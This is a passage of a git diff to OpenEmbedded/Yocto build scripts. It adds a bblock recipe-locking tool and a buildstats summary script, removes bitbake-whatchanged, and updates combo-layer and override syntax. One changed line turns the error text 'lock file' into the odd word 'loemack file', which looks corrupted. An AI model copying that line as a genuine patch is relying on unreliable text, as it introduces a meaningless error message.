+logger = bb.msg.logger_create(myname)
+
+
+def getTaskSignatures(tinfoil, pn, tasks):
+ tinfoil.set_event_mask(
+ [
+ "bb.event.GetTaskSignatureResult",
+ "logging.LogRecord",
+ "bb.command.CommandCompleted",
+ "bb.command.CommandFailed",
+ ]
+ )
+ ret = tinfoil.run_command("getTaskSignatures", pn, tasks)
+ if ret:
+ while True:
+ event = tinfoil.wait_event(1)
+ if event:
+ if isinstance(event, bb.command.CommandCompleted):
+ break
+ elif isinstance(event, bb.command.CommandFailed):
+ logger.error(str(event))
+ sys.exit(2)
+ elif isinstance(event, bb.event.GetTaskSignatureResult):
+ sig = event.sig
+ elif isinstance(event, logging.LogRecord):
+ logger.handle(event)
+ else:
+ logger.error("No result returned from getTaskSignatures command")
+ sys.exit(2)
+ return sig
+
+
+def parseRecipe(tinfoil, recipe):
+ try:
+ tinfoil.parse_recipes()
+ d = tinfoil.parse_recipe(recipe)
+ except Exception:
+ logger.error("Failed to get recipe info for: %s" % recipe)
+ sys.exit(1)
+ return d
+
+
+def bblockDump(lockfile):
+ try:
+ with open(lockfile, "r") as lockfile:
+ for line in lockfile:
+ print(line.strip())
+ except IOError:
+ return 1
+ return 0
+
+
+def bblockReset(lockfile, pns, package_archs, tasks):
+ if not pns:
+ logger.info("Unlocking all recipes")
+ try:
+ os.remove(lockfile)
+ except FileNotFoundError:
+ pass
+ else:
+ logger.info("Unlocking {pns}".format(pns=pns))
+ tmp_lockfile = lockfile + ".tmp"
+ with open(lockfile, "r") as infile, open(tmp_lockfile, "w") as outfile:
+ for line in infile:
+ if not (
+ any(element in line for element in pns)
+ and any(element in line for element in package_archs.split())
+ ):
+ outfile.write(line)
+ else:
+ if tasks and not any(element in line for element in tasks):
+ outfile.write(line)
+ os.remove(lockfile)
+ os.rename(tmp_lockfile, lockfile)
+
+
+def main():
+ parser = argparse_oe.ArgumentParser(description="Lock and unlock a recipe")
+ parser.add_argument("pn", nargs="*", help="Space separated list of recipe to lock")
+ parser.add_argument(
+ "-t",
+ "--tasks",
+ help="Comma separated list of tasks",
+ type=lambda s: [
+ task if task.startswith("do_") else "do_" + task for task in s.split(",")
+ ],
+ )
+ parser.add_argument(
+ "-r",
+ "--reset",
+ action="store_true",
+ help="Unlock pn recipes, or all recipes if pn is empty",
+ )
+ parser.add_argument(
+ "-d",
+ "--dump",
+ action="store_true",
+ help="Dump generated bblock.conf file",
+ )
+
+ global_args, unparsed_args = parser.parse_known_args()
+
+ with bb.tinfoil.Tinfoil() as tinfoil:
+ tinfoil.prepare(config_only=True)
+
+ package_archs = tinfoil.config_data.getVar("PACKAGE_ARCHS")
+ builddir = tinfoil.config_data.getVar("TOPDIR")
+ lockfile = "{builddir}/conf/bblock.conf".format(builddir=builddir)
+
+ if global_args.dump:
+ bblockDump(lockfile)
+ return 0
+
+ if global_args.reset:
+ bblockReset(lockfile, global_args.pn, package_archs, global_args.tasks)
+ return 0
+
+ with open(lockfile, "a") as lockfile:
+ s = ""
+ if lockfile.tell() == 0:
+ s = "# Generated by bblock\n"
+ s += 'SIGGEN_LOCKEDSIGS_TASKSIG_CHECK = "info"\n'
+ s += 'SIGGEN_LOCKEDSIGS_TYPES += "${PACKAGE_ARCHS}"\n'
+ s += "\n"
+
+ for pn in global_args.pn:
+ d = parseRecipe(tinfoil, pn)
+ package_arch = d.getVar("PACKAGE_ARCH")
+ siggen_locked_sigs_package_arch = d.getVar(
+ "SIGGEN_LOCKEDSIGS_{package_arch}".format(package_arch=package_arch)
+ )
+ sigs = getTaskSignatures(tinfoil, [pn], global_args.tasks)
+ for sig in sigs:
+ new_entry = "{pn}:{taskname}:{sig}".format(
+ pn=sig[0], taskname=sig[1], sig=sig[2]
+ )
+ if (
+ siggen_locked_sigs_package_arch
+ and not new_entry in siggen_locked_sigs_package_arch
+ ) or not siggen_locked_sigs_package_arch:
+ s += 'SIGGEN_LOCKEDSIGS_{package_arch} += "{new_entry}"\n'.format(
+ package_arch=package_arch, new_entry=new_entry
+ )
+ lockfile.write(s)
+ return 0
+
+
+if __name__ == "__main__":
+ try:
+ ret = main()
+ except Exception:
+ ret = 1
+ import traceback
+
+ traceback.print_exc()
+ sys.exit(ret)
diff --git a/scripts/bitbake-prserv-tool b/scripts/bitbake-prserv-tool
index e55d98c72e..80028342b1 100755
--- a/scripts/bitbake-prserv-tool
+++ b/scripts/bitbake-prserv-tool
@@ -1,5 +1,7 @@
#!/usr/bin/env bash
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: GPL-2.0-only
#
@@ -15,8 +17,11 @@ help ()
clean_cache()
{
s=`bitbake -e | grep ^CACHE= | cut -f2 -d\"`
+ # Stop any active memory resident server
+ bitbake -m
+ # Remove cache entries since we want to trigger a full reparse
if [ "x${s}" != "x" ]; then
- rm -rf ${s}
+ rm -f ${s}/bb_cache*.dat.*
fi
}
@@ -60,7 +65,7 @@ do_migrate_localcount ()
return 1
fi
- rm -rf $df
+ rm -f $df
clean_cache
echo "Exporting LOCALCOUNT to AUTOINCs..."
bitbake -R conf/migrate_localcount.conf -p
diff --git a/scripts/bitbake-whatchanged b/scripts/bitbake-whatchanged
deleted file mode 100755
index 3095dafa46..0000000000
--- a/scripts/bitbake-whatchanged
+++ /dev/null
@@ -1,320 +0,0 @@
-#!/usr/bin/env python3
-# ex:ts=4:sw=4:sts=4:et
-# -*- tab-width: 4; c-basic-offset: 4; indent-tabs-mode: nil -*-
-
-# Copyright (c) 2013 Wind River Systems, Inc.
-#
-# SPDX-License-Identifier: GPL-2.0-only
-#
-
-import os
-import sys
-import getopt
-import shutil
-import re
-import warnings
-import subprocess
-import argparse
-
-scripts_path = os.path.abspath(os.path.dirname(os.path.abspath(sys.argv[0])))
-lib_path = scripts_path + '/lib'
-sys.path = sys.path + [lib_path]
-
-import scriptpath
-
-# Figure out where is the bitbake/lib/bb since we need bb.siggen and bb.process
-bitbakepath = scriptpath.add_bitbake_lib_path()
-if not bitbakepath:
- sys.stderr.write("Unable to find bitbake by searching parent directory of this script or PATH\n")
- sys.exit(1)
-scriptpath.add_oe_lib_path()
-import argparse_oe
-
-import bb.siggen
-import bb.process
-
-# Match the stamp's filename
-# group(1): PE_PV (may no PE)
-# group(2): PR
-# group(3): TASK
-# group(4): HASH
-stamp_re = re.compile("(?P<pv>.*)-(?P<pr>r\d+)\.(?P<task>do_\w+)\.(?P<hash>[^\.]*)")
-sigdata_re = re.compile(".*\.sigdata\..*")
-
-def gen_dict(stamps):
- """
- Generate the dict from the stamps dir.
- The output dict format is:
- {fake_f: {pn: PN, pv: PV, pr: PR, task: TASK, path: PATH}}
- Where:
- fake_f: pv + task + hash
- path: the path to the stamp file
- """
- # The member of the sub dict (A "path" will be appended below)
- sub_mem = ("pv", "pr", "task")
- d = {}
- for dirpath, _, files in os.walk(stamps):
- for f in files:
- # The "bitbake -S" would generate ".sigdata", but no "_setscene".
- fake_f = re.sub('_setscene.', '.', f)
- fake_f = re.sub('.sigdata', '', fake_f)
- subdict = {}
- tmp = stamp_re.match(fake_f)
- if tmp:
- for i in sub_mem:
- subdict[i] = tmp.group(i)
- if len(subdict) != 0:
- pn = os.path.basename(dirpath)
- subdict['pn'] = pn
- # The path will be used by os.stat() and bb.siggen
- subdict['path'] = dirpath + "/" + f
- fake_f = tmp.group('pv') + tmp.group('task') + tmp.group('hash')
- d[fake_f] = subdict
- return d
-
-# Re-construct the dict
-def recon_dict(dict_in):
- """
- The output dict format is:
- {pn_task: {pv: PV, pr: PR, path: PATH}}
- """
- dict_out = {}
- for k in dict_in.keys():
- subdict = {}
- # The key
- pn_task = "%s_%s" % (dict_in.get(k).get('pn'), dict_in.get(k).get('task'))
- # If more than one stamps are found, use the latest one.
- if pn_task in dict_out:
- full_path_pre = dict_out.get(pn_task).get('path')
- full_path_cur = dict_in.get(k).get('path')
- if os.stat(full_path_pre).st_mtime > os.stat(full_path_cur).st_mtime:
- continue
- subdict['pv'] = dict_in.get(k).get('pv')
- subdict['pr'] = dict_in.get(k).get('pr')
- subdict['path'] = dict_in.get(k).get('path')
- dict_out[pn_task] = subdict
-
- return dict_out
-
-def split_pntask(s):
- """
- Split the pn_task in to (pn, task) and return it
- """
- tmp = re.match("(.*)_(do_.*)", s)
- return (tmp.group(1), tmp.group(2))
-
-
-def print_added(d_new = None, d_old = None):
- """
- Print the newly added tasks
- """
- added = {}
- for k in list(d_new.keys()):
- if k not in d_old:
- # Add the new one to added dict, and remove it from
- # d_new, so the remaining ones are the changed ones
- added[k] = d_new.get(k)
- del(d_new[k])
-
- if not added:
- return 0
-
- # Format the output, the dict format is:
- # {pn: task1, task2 ...}
- added_format = {}
- counter = 0
- for k in added.keys():
- pn, task = split_pntask(k)
- if pn in added_format:
- # Append the value
- added_format[pn] = "%s %s" % (added_format.get(pn), task)
- else:
- added_format[pn] = task
- counter += 1
- print("=== Newly added tasks: (%s tasks)" % counter)
- for k in added_format.keys():
- print(" %s: %s" % (k, added_format.get(k)))
-
- return counter
-
-def print_vrchanged(d_new = None, d_old = None, vr = None):
- """
- Print the pv or pr changed tasks.
- The arg "vr" is "pv" or "pr"
- """
- pvchanged = {}
- counter = 0
- for k in list(d_new.keys()):
- if d_new.get(k).get(vr) != d_old.get(k).get(vr):
- counter += 1
- pn, task = split_pntask(k)
- if pn not in pvchanged:
- # Format the output, we only print pn (no task) since
- # all the tasks would be changed when pn or pr changed,
- # the dict format is:
- # {pn: pv/pr_old -> pv/pr_new}
- pvchanged[pn] = "%s -> %s" % (d_old.get(k).get(vr), d_new.get(k).get(vr))
- del(d_new[k])
-
- if not pvchanged:
- return 0
-
- print("\n=== %s changed: (%s tasks)" % (vr.upper(), counter))
- for k in pvchanged.keys():
- print(" %s: %s" % (k, pvchanged.get(k)))
-
- return counter
-
-def print_depchanged(d_new = None, d_old = None, verbose = False):
- """
- Print the dependency changes
- """
- depchanged = {}
- counter = 0
- for k in d_new.keys():
- counter += 1
- pn, task = split_pntask(k)
- if (verbose):
- full_path_old = d_old.get(k).get("path")
- full_path_new = d_new.get(k).get("path")
- # No counter since it is not ready here
- if sigdata_re.match(full_path_old) and sigdata_re.match(full_path_new):
- output = bb.siggen.compare_sigfiles(full_path_old, full_path_new)
- if output:
- print("\n=== The verbose changes of %s.%s:" % (pn, task))
- print('\n'.join(output))
- else:
- # Format the output, the format is:
- # {pn: task1, task2, ...}
- if pn in depchanged:
- depchanged[pn] = "%s %s" % (depchanged.get(pn), task)
- else:
- depchanged[pn] = task
-
- if len(depchanged) > 0:
- print("\n=== Dependencies changed: (%s tasks)" % counter)
- for k in depchanged.keys():
- print(" %s: %s" % (k, depchanged[k]))
-
- return counter
-
-
-def main():
- """
- Print what will be done between the current and last builds:
- 1) Run "STAMPS_DIR=<path> bitbake -S recipe" to re-generate the stamps
- 2) Figure out what are newly added and changed, can't figure out
- what are removed since we can't know the previous stamps
- clearly, for example, if there are several builds, we can't know
- which stamps the last build has used exactly.
- 3) Use bb.siggen.compare_sigfiles to diff the old and new stamps
- """
-
- parser = argparse_oe.ArgumentParser(usage = """%(prog)s [options] [package ...]
-print what will be done between the current and last builds, for example:
-
- $ bitbake core-image-sato
- # Edit the recipes
- $ bitbake-whatchanged core-image-sato
-
-The changes will be printed"
-
-Note:
- The amount of tasks is not accurate when the task is "do_build" since
- it usually depends on other tasks.
- The "nostamp" task is not included.
-"""
-)
- parser.add_argument("recipe", help="recipe to check")
- parser.add_argument("-v", "--verbose", help = "print the verbose changes", action = "store_true")
- args = parser.parse_args()
-
- # Get the STAMPS_DIR
- print("Figuring out the STAMPS_DIR ...")
- cmdline = "bitbake -e | sed -ne 's/^STAMPS_DIR=\"\(.*\)\"/\\1/p'"
- try:
- stampsdir, err = bb.process.run(cmdline)
- except:
- raise
- if not stampsdir:
- print("ERROR: No STAMPS_DIR found for '%s'" % args.recipe, file=sys.stderr)
- return 2
- stampsdir = stampsdir.rstrip("\n")
- if not os.path.isdir(stampsdir):
- print("ERROR: stamps directory \"%s\" not found!" % stampsdir, file=sys.stderr)
- return 2
-
- # The new stamps dir
- new_stampsdir = stampsdir + ".bbs"
- if os.path.exists(new_stampsdir):
- print("ERROR: %s already exists!" % new_stampsdir, file=sys.stderr)
- return 2
-
- try:
- # Generate the new stamps dir
- print("Generating the new stamps ... (need several minutes)")
- cmdline = "STAMPS_DIR=%s bitbake -S none %s" % (new_stampsdir, args.recipe)
- # FIXME
- # The "bitbake -S" may fail, not fatal error, the stamps will still
- # be generated, this might be a bug of "bitbake -S".
- try:
- bb.process.run(cmdline)
- except Exception as exc:
- print(exc)
-
- # The dict for the new and old stamps.
- old_dict = gen_dict(stampsdir)
- new_dict = gen_dict(new_stampsdir)
-
- # Remove the same one from both stamps.
- cnt_unchanged = 0
- for k in list(new_dict.keys()):
- if k in old_dict:
- cnt_unchanged += 1
- del(new_dict[k])
- del(old_dict[k])
-
- # Re-construct the dict to easily find out what is added or changed.
- # The dict format is:
- # {pn_task: {pv: PV, pr: PR, path: PATH}}
- new_recon = recon_dict(new_dict)
- old_recon = recon_dict(old_dict)
-
- del new_dict
- del old_dict
-
- # Figure out what are changed, the new_recon would be changed
- # by the print_xxx function.
- # Newly added
- cnt_added = print_added(new_recon, old_recon)
-
- # PV (including PE) and PR changed
- # Let the bb.siggen handle them if verbose
- cnt_rv = {}
- if not args.verbose:
- for i in ('pv', 'pr'):
- cnt_rv[i] = print_vrchanged(new_recon, old_recon, i)
-
- # Dependencies changed (use bitbake-diffsigs)
- cnt_dep = print_depchanged(new_recon, old_recon, args.verbose)
-
- total_changed = cnt_added + (cnt_rv.get('pv') or 0) + (cnt_rv.get('pr') or 0) + cnt_dep
-
- print("\n=== Summary: (%s changed, %s unchanged)" % (total_changed, cnt_unchanged))
- if args.verbose:
- print("Newly added: %s\nDependencies changed: %s\n" % \
- (cnt_added, cnt_dep))
- else:
- print("Newly added: %s\nPV changed: %s\nPR changed: %s\nDependencies changed: %s\n" % \
- (cnt_added, cnt_rv.get('pv') or 0, cnt_rv.get('pr') or 0, cnt_dep))
- except:
- print("ERROR occurred!")
- raise
- finally:
- # Remove the newly generated stamps dir
- if os.path.exists(new_stampsdir):
- print("Removing the newly generated stamps dir ...")
- shutil.rmtree(new_stampsdir)
-
-if __name__ == "__main__":
- sys.exit(main())
diff --git a/scripts/buildhistory-collect-srcrevs b/scripts/buildhistory-collect-srcrevs
index 340bee78bb..c937e49c2a 100755
--- a/scripts/buildhistory-collect-srcrevs
+++ b/scripts/buildhistory-collect-srcrevs
@@ -53,7 +53,7 @@ def main():
sys.exit(1)
if options.forcevariable:
- forcevariable = '_forcevariable'
+ forcevariable = ':forcevariable'
else:
forcevariable = ''
@@ -99,9 +99,9 @@ def main():
print('# %s' % curdir)
for pn, name, srcrev in srcrevs:
if name:
- print('SRCREV_%s_pn-%s%s = "%s"' % (name, pn, forcevariable, srcrev))
+ print('SRCREV_%s:pn-%s%s = "%s"' % (name, pn, forcevariable, srcrev))
else:
- print('SRCREV_pn-%s%s = "%s"' % (pn, forcevariable, srcrev))
+ print('SRCREV:pn-%s%s = "%s"' % (pn, forcevariable, srcrev))
if __name__ == "__main__":
diff --git a/scripts/buildhistory-diff b/scripts/buildhistory-diff
index 833f7c33a5..a6e785aa23 100755
--- a/scripts/buildhistory-diff
+++ b/scripts/buildhistory-diff
@@ -11,7 +11,6 @@
import sys
import os
import argparse
-from distutils.version import LooseVersion
# Ensure PythonGit is installed (buildhistory_analysis needs it)
try:
@@ -28,10 +27,12 @@ def get_args_parser():
%(prog)s [options] [from-revision [to-revision]]
(if not specified, from-revision defaults to build-minus-1, and to-revision defaults to HEAD)""")
+ default_dir = os.path.join(os.environ.get('BUILDDIR', '.'), 'buildhistory')
+
parser.add_argument('-p', '--buildhistory-dir',
action='store',
dest='buildhistory_dir',
- default='buildhistory/',
+ default=default_dir,
help="Specify path to buildhistory directory (defaults to buildhistory/ under cwd)")
parser.add_argument('-v', '--report-version',
action='store_true',
@@ -71,20 +72,11 @@ def main():
parser = get_args_parser()
args = parser.parse_args()
- if LooseVersion(git.__version__) < '0.3.1':
- sys.stderr.write("Version of GitPython is too old, please install GitPython (python-git) 0.3.1 or later in order to use this script\n")
- sys.exit(1)
-
if len(args.revisions) > 2:
sys.stderr.write('Invalid argument(s) specified: %s\n\n' % ' '.join(args.revisions[2:]))
parser.print_help()
sys.exit(1)
- if not os.path.exists(args.buildhistory_dir):
- if args.buildhistory_dir == 'buildhistory/':
- cwd = os.getcwd()
- if os.path.basename(cwd) == 'buildhistory':
- args.buildhistory_dir = cwd
if not os.path.exists(args.buildhistory_dir):
sys.stderr.write('Buildhistory directory "%s" does not exist\n\n' % args.buildhistory_dir)
diff --git a/scripts/buildstats-diff b/scripts/buildstats-diff
index 2f6498ab67..c9aa76a8fa 100755
--- a/scripts/buildstats-diff
+++ b/scripts/buildstats-diff
@@ -1,4 +1,4 @@
-#!/usr/bin/python3
+#!/usr/bin/env python3
#
# Script for comparing buildstats from two different builds
#
diff --git a/scripts/buildstats-summary b/scripts/buildstats-summary
new file mode 100755
index 0000000000..b10c671b29
--- /dev/null
+++ b/scripts/buildstats-summary
@@ -0,0 +1,126 @@
+#!/usr/bin/env python3
+#
+# Dump a summary of the specified buildstats to the terminal, filtering and
+# sorting by walltime.
+#
+# SPDX-License-Identifier: GPL-2.0-only
+
+import argparse
+import dataclasses
+import datetime
+import enum
+import os
+import pathlib
+import sys
+
+scripts_path = os.path.dirname(os.path.realpath(__file__))
+sys.path.append(os.path.join(scripts_path, "lib"))
+import buildstats
+
+
+@dataclasses.dataclass
+class Task:
+ recipe: str
+ task: str
+ start: datetime.datetime
+ duration: datetime.timedelta
+
+
+class Sorting(enum.Enum):
+ start = 1
+ duration = 2
+
+ # argparse integration
+ def __str__(self) -> str:
+ return self.name
+
+ def __repr__(self) -> str:
+ return self.name
+
+ @staticmethod
+ def from_string(s: str):
+ try:
+ return Sorting[s]
+ except KeyError:
+ return s
+
+
+def read_buildstats(path: pathlib.Path) -> buildstats.BuildStats:
+ if not path.exists():
+ raise Exception(f"No such file or directory: {path}")
+ if path.is_file():
+ return buildstats.BuildStats.from_file_json(path)
+ if (path / "build_stats").is_file():
+ return buildstats.BuildStats.from_dir(path)
+ raise Exception(f"Cannot find buildstats in {path}")
+
+
+def dump_buildstats(args, bs: buildstats.BuildStats):
+ tasks = []
+ for recipe in bs.values():
+ for task, stats in recipe.tasks.items():
+ t = Task(
+ recipe.name,
+ task,
+ datetime.datetime.fromtimestamp(stats["start_time"]),
+ datetime.timedelta(seconds=int(stats.walltime)),
+ )
+ tasks.append(t)
+
+ tasks.sort(key=lambda t: getattr(t, args.sort.name))
+
+ minimum = datetime.timedelta(seconds=args.shortest)
+ highlight = datetime.timedelta(seconds=args.highlight)
+
+ for t in tasks:
+ if t.duration >= minimum:
+ line = f"{t.duration} {t.recipe}:{t.task}"
+ if args.highlight and t.duration >= highlight:
+ print(f"\033[1m{line}\033[0m")
+ else:
+ print(line)
+
+
+def main(argv=None) -> int:
+ parser = argparse.ArgumentParser(
+ formatter_class=argparse.ArgumentDefaultsHelpFormatter
+ )
+
+ parser.add_argument(
+ "buildstats", metavar="BUILDSTATS", help="Buildstats file", type=pathlib.Path
+ )
+ parser.add_argument(
+ "--sort",
+ "-s",
+ type=Sorting.from_string,
+ choices=list(Sorting),
+ default=Sorting.start,
+ help="Sort tasks",
+ )
+ parser.add_argument(
+ "--shortest",
+ "-t",
+ type=int,
+ default=1,
+ metavar="SECS",
+ help="Hide tasks shorter than SECS seconds",
+ )
+ parser.add_argument(
+ "--highlight",
+ "-g",
+ type=int,
+ default=60,
+ metavar="SECS",
+ help="Highlight tasks longer than SECS seconds (0 disabled)",
+ )
+
+ args = parser.parse_args(argv)
+
+ bs = read_buildstats(args.buildstats)
+ dump_buildstats(args, bs)
+
+ return 0
+
+
+if __name__ == "__main__":
+ sys.exit(main())
diff --git a/scripts/combo-layer b/scripts/combo-layer
index a634dd69d2..4a715914af 100755
--- a/scripts/combo-layer
+++ b/scripts/combo-layer
@@ -19,9 +19,8 @@ import tempfile
import configparser
import re
import copy
-import pipes
+import shlex
import shutil
-from collections import OrderedDict
from string import Template
from functools import reduce
@@ -192,6 +191,23 @@ def runcmd(cmd,destdir=None,printerr=True,out=None,env=None):
logger.debug("output: %s" % output.replace(chr(0), '\\0'))
return output
+def action_sync_revs(conf, args):
+ """
+ Update the last_revision config option for each repo with the latest
+ revision in the remote's branch. Useful if multiple people are using
+ combo-layer.
+ """
+ repos = get_repos(conf, args[1:])
+
+ for name in repos:
+ repo = conf.repos[name]
+ ldir = repo['local_repo_dir']
+ branch = repo.get('branch', "master")
+ runcmd("git fetch", ldir)
+ lastrev = runcmd('git rev-parse origin/%s' % branch, ldir).strip()
+ print("Updating %s to %s" % (name, lastrev))
+ conf.update(name, "last_revision", lastrev)
+
def action_init(conf, args):
"""
Clone component repositories
@@ -467,7 +483,7 @@ def check_repo_clean(repodir):
exit if repo is dirty
"""
output=runcmd("git status --porcelain", repodir)
- r = re.compile('\?\? patch-.*/')
+ r = re.compile(r'\?\? patch-.*/')
dirtyout = [item for item in output.splitlines() if not r.match(item)]
if dirtyout:
logger.error("git repo %s is dirty, please fix it first", repodir)
@@ -508,7 +524,7 @@ def check_patch(patchfile):
f.close()
if of:
of.close()
- os.rename(patchfile + '.tmp', patchfile)
+ os.rename(of.name, patchfile)
def drop_to_shell(workdir=None):
if not sys.stdin.isatty():
@@ -1259,7 +1275,7 @@ def apply_commit(parent, rev, largs, wargs, dest_dir, file_filter=None):
target = os.path.join(wargs["destdir"], dest_dir)
if not os.path.isdir(target):
os.makedirs(target)
- quoted_target = pipes.quote(target)
+ quoted_target = shlex.quote(target)
# os.sysconf('SC_ARG_MAX') is lying: running a command with
# string length 629343 already failed with "Argument list too
# long" although SC_ARG_MAX = 2097152. "man execve" explains
@@ -1271,7 +1287,7 @@ def apply_commit(parent, rev, largs, wargs, dest_dir, file_filter=None):
unquoted_args = []
cmdsize = 100 + len(quoted_target)
while update:
- quoted_next = pipes.quote(update[0])
+ quoted_next = shlex.quote(update[0])
size_next = len(quoted_next) + len(dest_dir) + 1
logger.debug('cmdline length %d + %d < %d?' % (cmdsize, size_next, os.sysconf('SC_ARG_MAX')))
if cmdsize + size_next < max_cmdsize:
@@ -1302,6 +1318,7 @@ actions = {
"update": action_update,
"pull": action_pull,
"splitpatch": action_splitpatch,
+ "sync-revs": action_sync_revs,
}
def main():
@@ -1312,10 +1329,11 @@ def main():
Create and update a combination layer repository from multiple component repositories.
Action:
- init initialise the combo layer repo
- update [components] get patches from component repos and apply them to the combo repo
- pull [components] just pull component repos only
- splitpatch [commit] generate commit patch and split per component, default commit is HEAD""")
+ init initialise the combo layer repo
+ update [components] get patches from component repos and apply them to the combo repo
+ pull [components] just pull component repos only
+ sync-revs [components] update the config file's last_revision for each repository
+ splitpatch [commit] generate commit patch and split per component, default commit is HEAD""")
parser.add_option("-c", "--conf", help = "specify the config file (conf/combo-layer.conf is the default).",
action = "store", dest = "conffile", default = "conf/combo-layer.conf")
diff --git a/scripts/combo-layer-hook-default.sh b/scripts/combo-layer-hook-default.sh
index 11547a9826..fb9651b31f 100755
--- a/scripts/combo-layer-hook-default.sh
+++ b/scripts/combo-layer-hook-default.sh
@@ -1,5 +1,7 @@
#!/bin/sh
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: GPL-2.0-only
#
# Hook to add source component/revision info to commit message
diff --git a/scripts/contrib/bb-perf/bb-matrix-plot.sh b/scripts/contrib/bb-perf/bb-matrix-plot.sh
index e7bd129e9e..6672189c95 100755
--- a/scripts/contrib/bb-perf/bb-matrix-plot.sh
+++ b/scripts/contrib/bb-perf/bb-matrix-plot.sh
@@ -16,8 +16,8 @@
# Setup the defaults
DATFILE="bb-matrix.dat"
-XLABEL="BB_NUMBER_THREADS"
-YLABEL="PARALLEL_MAKE"
+XLABEL="BB\\\\_NUMBER\\\\_THREADS"
+YLABEL="PARALLEL\\\\_MAKE"
FIELD=3
DEF_TITLE="Elapsed Time (seconds)"
PM3D_FRAGMENT="unset surface; set pm3d at s hidden3d 100"
diff --git a/scripts/contrib/bbvars.py b/scripts/contrib/bbvars.py
index 090133600b..a9cdf082ab 100755
--- a/scripts/contrib/bbvars.py
+++ b/scripts/contrib/bbvars.py
@@ -36,8 +36,8 @@ def bbvar_is_documented(var, documented_vars):
def collect_documented_vars(docfiles):
''' Walk the docfiles and collect the documented variables '''
documented_vars = []
- prog = re.compile(".*($|[^A-Z_])<glossentry id=\'var-")
- var_prog = re.compile('<glossentry id=\'var-(.*)\'>')
+ prog = re.compile(r".*($|[^A-Z_])<glossentry id=\'var-")
+ var_prog = re.compile(r'<glossentry id=\'var-(.*)\'>')
for d in docfiles:
with open(d) as f:
documented_vars += var_prog.findall(f.read())
@@ -45,7 +45,7 @@ def collect_documented_vars(docfiles):
return documented_vars
def bbvar_doctag(var, docconf):
- prog = re.compile('^%s\[doc\] *= *"(.*)"' % (var))
+ prog = re.compile(r'^%s\[doc\] *= *"(.*)"' % (var))
if docconf == "":
return "?"
diff --git a/scripts/contrib/build-perf-test-wrapper.sh b/scripts/contrib/build-perf-test-wrapper.sh
index fa71d4a2e9..0a85e6e708 100755
--- a/scripts/contrib/build-perf-test-wrapper.sh
+++ b/scripts/contrib/build-perf-test-wrapper.sh
@@ -87,21 +87,10 @@ if [ $# -ne 0 ]; then
exit 1
fi
-if [ -n "$email_to" ]; then
- if ! [ -x "$(command -v phantomjs)" ]; then
- echo "ERROR: Sending email needs phantomjs."
- exit 1
- fi
- if ! [ -x "$(command -v optipng)" ]; then
- echo "ERROR: Sending email needs optipng."
- exit 1
- fi
-fi
-
# Open a file descriptor for flock and acquire lock
LOCK_FILE="/tmp/oe-build-perf-test-wrapper.lock"
if ! exec 3> "$LOCK_FILE"; then
- echo "ERROR: Unable to open lock file"
+ echo "ERROR: Unable to open loemack file"
exit 1
fi
if ! flock -n 3; then
@@ -226,7 +215,7 @@ if [ -n "$results_repo" ]; then
if [ -n "$email_to" ]; then
echo "Emailing test report"
os_name=`get_os_release_var PRETTY_NAME`
- "$script_dir"/oe-build-perf-report-email.py --to "$email_to" --subject "Build Perf Test Report for $os_name" --text $report_txt --html $report_html "${OE_BUILD_PERF_REPORT_EMAIL_EXTRA_ARGS[@]}"
+ "$script_dir"/oe-build-perf-report-email.py --to "$email_to" --subject "Build Perf Test Report for $os_name" --text $report_txt "${OE_BUILD_PERF_REPORT_EMAIL_EXTRA_ARGS[@]}"
fi
# Upload report files, unless we're on detached head
diff --git a/scripts/contrib/convert-overrides.py b/scripts/contrib/convert-overrides.py
new file mode 100755
index 0000000000..c69acb4095
--- /dev/null
+++ b/scripts/contrib/convert-overrides.py
@@ -0,0 +1,155 @@
+#!/usr/bin/env python3
+#
+# Conversion script to add new override syntax to existing bitbake metadata
+#
+# Copyright (C) 2021 Richard Purdie
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+
+#
+# To use this script on a new layer you need to list the overrides the
+# layer is known to use in the list below.
+#
+# Known constraint: Matching is 'loose' and in particular will find variable
+# and function names with "_append" and "_remove" in them. Those need to be
+# filtered out manually or in the skip list below.
+#
+
+import re
+import os
+import sys
+import tempfile
+import shutil
+import mimetypes
+import argparse
+
+parser = argparse.ArgumentParser(description="Convert override syntax")
+parser.add_argument("--override", "-o", action="append", default=[], help="Add additional strings to consider as an override (e.g. custom machines/distros")
+parser.add_argument("--skip", "-s", action="append", default=[], help="Add additional string to skip and not consider an override")
+parser.add_argument("--skip-ext", "-e", action="append", default=[], help="Additional file suffixes to skip when processing (e.g. '.foo')")
+parser.add_argument("--package-vars", action="append", default=[], help="Additional variables to treat as package variables")
+parser.add_argument("--image-vars", action="append", default=[], help="Additional variables to treat as image variables")
+parser.add_argument("--short-override", action="append", default=[], help="Additional strings to treat as short overrides")
+parser.add_argument("path", nargs="+", help="Paths to convert")
+
+args = parser.parse_args()
+
+# List of strings to treat as overrides
+vars = args.override
+vars += ["append", "prepend", "remove"]
+vars += ["qemuarm", "qemux86", "qemumips", "qemuppc", "qemuriscv", "qemuall"]
+vars += ["genericx86", "edgerouter", "beaglebone-yocto"]
+vars += ["armeb", "arm", "armv5", "armv6", "armv4", "powerpc64", "aarch64", "riscv32", "riscv64", "x86", "mips64", "powerpc"]
+vars += ["mipsarch", "x86-x32", "mips16e", "microblaze", "e5500-64b", "mipsisa32", "mipsisa64"]
+vars += ["class-native", "class-target", "class-cross-canadian", "class-cross", "class-devupstream"]
+vars += ["tune-", "pn-", "forcevariable"]
+vars += ["libc-musl", "libc-glibc", "libc-newlib","libc-baremetal"]
+vars += ["task-configure", "task-compile", "task-install", "task-clean", "task-image-qa", "task-rm_work", "task-image-complete", "task-populate-sdk"]
+vars += ["toolchain-clang", "mydistro", "nios2", "sdkmingw32", "overrideone", "overridetwo"]
+vars += ["linux-gnux32", "linux-muslx32", "linux-gnun32", "mingw32", "poky", "darwin", "linuxstdbase"]
+vars += ["linux-gnueabi", "eabi"]
+vars += ["virtclass-multilib", "virtclass-mcextend"]
+
+# List of strings to treat as overrides but only with whitespace following or another override (more restricted matching).
+# Handles issues with arc matching arch.
+shortvars = ["arc", "mips", "mipsel", "sh4"] + args.short_override
+
+# Variables which take packagenames as an override
+packagevars = ["FILES", "RDEPENDS", "RRECOMMENDS", "SUMMARY", "DESCRIPTION", "RSUGGESTS", "RPROVIDES", "RCONFLICTS", "PKG", "ALLOW_EMPTY",
+ "pkg_postrm", "pkg_postinst_ontarget", "pkg_postinst", "INITSCRIPT_NAME", "INITSCRIPT_PARAMS", "DEBIAN_NOAUTONAME", "ALTERNATIVE",
